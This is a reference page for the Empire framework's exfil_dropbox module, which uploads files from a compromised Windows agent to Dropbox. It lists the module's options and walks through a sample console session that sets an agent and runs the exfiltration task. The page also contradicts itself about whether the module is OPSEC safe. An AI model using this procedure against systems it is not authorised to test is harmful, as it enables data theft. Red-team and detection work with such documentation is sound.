Invoke-DropboxUpload - Empire Module
This page contains detailed information about how to use the powershell/exfiltration/exfil_dropbox Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Invoke-DropboxUpload
Module: powershell/exfiltration/exfil_dropbox
Source code:
empire/server/modules/powershell/exfiltration/exfil_dropbox.yaml
MITRE ATT&CK:
T1041
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: No
The exfil_dropbox module uploads a file to dropbox.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the exfil_dropbox module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the exfil_dropbox module:
Agent
Agent to use.
ApiKey
Your dropbox api key.
SourceFilePath
/path/to/file.
TargetFilePath
/path/to/dropbox/file.
Exfil_dropbox Example Usage
Here's an example of how to use the exfil_dropbox module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/exfiltration/exfil_dropbox
Author [email protected]
Laurent Kempe
Background False
Comments Uploads specified file to dropbox
Ported to powershell2 from script by Laurent Kempe:
http://laurentkempe.com/2016/04/07/Upload-files-to-DropBox-from-
PowerShell/
Use forward slashes for the TargetFilePath
Description Upload a file to dropbox
Language powershell
Name powershell/exfiltration/exfil_dropbox
NeedsAdmin False
OpsecSafe True
Techniques http://attack.mitre.org/techniques/T1041
,Record Options--,-------,----------,-----------------------,
| Name | Value | Required | Description |
|----------------|-------|----------|-----------------------|
| Agent | | True | Agent to use |
|----------------|-------|----------|-----------------------|
| ApiKey | | True | Your dropbox api key |
|----------------|-------|----------|-----------------------|
| SourceFilePath | | True | /path/to/file |
|----------------|-------|----------|-----------------------|
| TargetFilePath | | True | /path/to/dropbox/file |
'----------------'-------'----------'-----------------------'
(Empire: usemodule/powershell/exfiltration/exfil_dropbox) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/exfiltration/exfil_dropbox) > set ApiKey value
[*] Set ApiKey to value
(Empire: usemodule/powershell/exfiltration/exfil_dropbox) > set SourceFilePath value
[*] Set SourceFilePath to value
(Empire: usemodule/powershell/exfiltration/exfil_dropbox) > set TargetFilePath value
[*] Set TargetFilePath to value
(Empire: usemodule/powershell/exfiltration/exfil_dropbox) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Authors
- [email protected]
- Laurent Kempe
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/exfiltration/exfil_dropbox.yaml
- http://laurentkempe.com/2016/04/07/Upload-files-to-DropBox-from-PowerShell/
- http://attack.mitre.org/techniques/T1041
- https://content.dropboxapi.com/2/files/upload
See Also
Check also the following modules related to this module:
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.